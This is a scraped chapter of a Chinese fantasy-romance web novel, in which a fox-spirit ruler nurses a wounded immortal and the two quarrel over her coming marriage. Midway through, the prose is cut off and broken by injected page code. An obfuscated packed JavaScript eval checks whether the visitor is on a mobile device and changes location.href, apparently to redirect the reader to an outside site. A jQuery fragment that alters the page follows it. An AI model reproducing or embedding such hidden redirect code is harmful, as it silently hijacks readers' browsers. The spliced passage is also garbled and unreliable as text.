55. 妖主(四)
作品:《失去妖心后和假道士破镜重圆》 直至肩膀上的声音越来越低,低到听不见时,阿离才忽然发觉不对。
“祁渊?”
“阿离……”
还有回应,但只是下意识地喊她的名字,下意识地说:阿离我喜欢你。
“祁渊?!”阿离失声,终于发觉身后之人伤得太重。
祁渊身上遍布刀口,这些都是阿离泄愤所为,她以为她的手段光明正大,以为祁渊答应了他们就能靠打架这个暴力的方式一决胜负,将误会一一说开,可她低估了祁渊的爱,她是知道了祁渊不会还手所以才肆无忌惮吗?
阿离不敢想,她转身回抱住他,见他面色苍白,却还不断张口喊她的名字,阿离不禁浑身颤抖起来,她在害怕,害怕那日的场景重现,害怕祁渊也像季无尘一样绝了生息,在她怀里死去。
“祁渊,你别睡,我错了……我真的错了……”
少女嗓音微颤,全身像绝了气力一般。
高大的身躯压在身上,像是要窒息而死,她发现自己拖不动他。
怀里的人突然翕动起来,咳了两声,吐了一口血。
阿离慌了慌,说:“你先别说话,我带你回去找大夫。”
祁渊被她转至背上,瘦小的身躯扛着他,一路往山里奔去。
幸好没有走远。阿离心想。
“阿离。”
“对不起。”
祁渊总是想着同她道歉。
“我不想听你说这些。”阿离背着他狂奔,一心只想着救命。
幸好她是妖怪,有妖力,可以脚下生风去保住一个人的性命。
幸好她留了手,刀刃刺得不深,血流的不多也不快。
“你能不能,别嫁给他。”身上的人轻轻一缩,将她圈得更紧,流露出一种平日里不可察觉的脆弱,阿离不知这反应,究竟是伤口的疼,还是心里的疼。
为了给出答案,阿离在心底纠结思索,脚步因此有了一瞬间的停滞,而后迅速恢复,快到让几近昏迷的祁渊无法察觉到她的反应。
屋子就在眼前,阿离背着祁渊,一把踏了屋子,将祁渊小心翼翼地放在了床上。
少女担忧的神情浮现在眼前,如镜花水月般不真实,祁渊看见她的嘴唇张张合合,想听清究竟说了什么,是刺人的反话,还是真切的关心,可他耳畔边却响起了阵阵耳鸣,如一根尖锐的银针要刺破他的耳膜。
他不知不觉将原本便紧紧皱着的眉头越收越紧,看着眼前少女忙碌的身影,担心她会趁着自己昏迷彻底抛下他离他而去。
越想越是后怕,可喉咙却像灌了火焰,无法说出半句音节。
别走……不要走……
不要嫁人……不要离开他……
可惜祁渊的挣扎,阿离半句也听不见。
远君山每间屋子里都放在伤药和绷带,阿离将它们翻出来,为祁渊草草地止了血。
“你等着,我去喊医师。”她急急忙忙地跑走,剩祁渊一人在空荡荡的屋子内。
祁渊不甘心地望着,意识却不受控制地沉睡了下去。
再次听见声音,看见画面,以为可以得到少女的关心和怜悯,谁知却是一次又一次的抛弃和打击。
门外天光乍现,刺人眼睛。
祁渊躺在屋内的床榻之上,眼睛半睁着,接近涣散的眼瞳却死死盯着门外两道身影。
“不是说只打一架吗?”
“就是打架。”
“还说,都快把人打死了!”男人食指一扣,在阿离的脑门上敲下了一道清脆的声响。
动作亲密,恍若无人。
他是谁?
是第二个赫连远吗?
阿离在男人面前十分拘谨,对弹脑门这事似乎早已习惯,只见她闷声忍下,辩解道:“我不是故意的。”
男人似乎并不打算原谅阿离,“神仙没那么容易死,可这一闹,天界说不准会抓着不放,要妖族给个交代。”
“为何?”阿离一直以为祁渊只是一个名不见经传的小仙,故而疑惑。
男人微微侧转过身,“他是天界上神。如今天界做事出了茬子,需要祁渊出面摆平,可你,却把他伤成了这样。依你所说,这祸端该如何处理?难不成要你出面替他打架?”
阿离稍稍思考,只是一个小动作便又被对方捉住了把柄。
阴翳的眸光一扫,阿离立马服软,手指缠上了对方的衣袖,撒娇道:“哎呀,哥哥,帮帮我吧。”
涂山泽当然不会理她,只说:“他醒了,赶快进去看看吧。”
闻言,阿离立马扭头往里屋看了一眼,松手的动作缓慢了些,落在祁渊眼里,变成了解释不清的依依不舍。
阿离进屋,来到祁渊床前,第一件事就是用温热的手背去触对方的额头。
还好,高热已经退了。
“你觉得这么样?还好吗?身上,还有哪里疼吗?”阿离的眸光盯着他来回扫了一圈,目光纯粹得像过往同行之时。
可祁渊却厌恶这份纯粹。只要这份纯粹一直存在,他想要的爱便只能停滞于某个节点,一动不动。
要是当初过分一点就好了。
祁渊盯住她的脸,将欲望显露于人前。
“阿离。”门外之人开口说话了,语气并不友善。
阿离的目光很轻易的跟随去,祁渊宣示主权般迅速反握住阿离的手,迫使她的目光重新回到自己身上。
阿离用力抽了抽手,发现抽不动。
“距离婚期还有三日,要准备的事情还有很多,不可在此处过分耗费心神,知道了吗?”那人语重心长。
阿离愣了愣,目光又追了过去,“我知道了,哥哥。”
哥哥?
好一句哥哥。
涂山泽:“晚饭时过来,我做几道你爱吃的菜。”
晚饭?爱吃的菜?
“好。”
阿离无条件应允,笑眯眯地目送涂山泽离开。
直至涂山泽的身影完全消失,阿离才猛然回过头来,想要质问祁渊,却被对方紧紧攥着拉进了怀里,唇瓣相触的一瞬间,难舍难分。
对方这副浑身充满力气的模样,可不像一个重病之人。
阿离由着他发疯,不反抗,松着气息,享受着对方如强盗般的掠夺。
祁渊含着她的下唇,尖锐的齿牙在上边印下了一个小洞,半瞬之后变得平整。祁渊舍不得伤她。如此明显的道理,阿离竟然这么迟才反应过来。
唇齿分开之际,阿离垂眸看着他,像是诘问。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228910|156400||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
“怎么不咬了?”
阿离的语气听起来十分不满,似乎是在怪他方才的僭越行径。
祁渊对此恼羞成怒,“他是谁?”
阿离见他的语气,呆了两秒,问:“你是在吃醋吗?”
祁渊低头,认了罪行,随后又将阿离圈进怀里,奢求温存。
“想抱就抱吧,三日后就是婚期,到那时可没这机会了。”
此话一落,阿离明显感觉到对方的身体僵了僵。
“有我在,赫连远还能忍气吞声,可见他并非果决之辈,贪生怕死之人,若是来日出事,如何能护你?”
“你这时知道辩驳和讨价还价了?”
对方抿进了薄唇,像是一意孤行的昏君。
“你若是想要名分,我也可以给你,总之不差这一个。”
阿离滔滔不绝地说着,话里话外尽是有道理却违背道德的担忧。
“只是阿远是正房,你是小房,只是你向来是君子作为,可忍得了?”
“忍不了也关系,不作小房还能当小三。我成婚之后,一定会抽时间出来与你会面的。”
祁渊:“你当真要如此气我?”
“气?这就是真话呀。”她十分认真。
“浪荡是狐狸精的本性,道长你不知道吗?”
祁渊紧着眉,阿离抬手去帮他抚平,“不过做小三呢,要紧着点这张风华绝代的脸,变丑了,我可就不要了。”
“这是妖主的权力。”
话音落在耳畔,如一道叫人魂牵梦绕的铃音。这就是她经过思索得出的结果?
祁渊沉下眸光,似乎是在认真思索。
阿离看着对方认真的神情不由勾起嘴角,她趁机从他的怀里离开,理了理衣裙后,恰好听见门外传来一串稳当的脚步声。
“我来换药。”门外是一个容貌儒雅的公子,祁渊见了立马变成一个刺手的刺猬,浑身上下都是敌意。
欧阳辰察觉自己被针对得莫名,只好装作视若无睹,在房间一角捣鼓起了药材。
“幸苦了。”阿离小步走来,“我先去外面看看药汤,你换药时,顺带帮我劝劝他呗。”
阿离使了个眼色,欧阳辰立马心领神会。
待阿离走后,欧阳辰不紧不慢地做起了自我介绍,“我叫欧阳辰,妖族天问阁阁主,祁渊上神,幸会。”
上神并不想理他。
欧阳辰觉得无所谓,一边捣鼓他的药,一边说道:“话说回来,堂堂上神会选哪一个选项呢?还是,哪个都不选?”
“上神身份尊贵,想必是不会卑躬屈膝地去伺候一只妖怪的。我理解。”
“你理解什么?”
“自然是理解上神的选择,不像我,只求得到妖主大人的一丝丝怜悯就已经心满意足了。”
“所以,我选择了当小三,连一场婚礼都不配拥有。”
欧阳辰掩面而泣,祁渊面上不显,却早早按紧了拳头。
欧阳辰喜欢拱火,“其实,正房的位置本也轮不到赫连远那小子,它本该是那位的。”说到此处,欧阳辰顿了顿。
“哦对,我不该和你说这么多,反正这唯一的位置,怎么轮也轮不到我们。”
“来,上药吧。”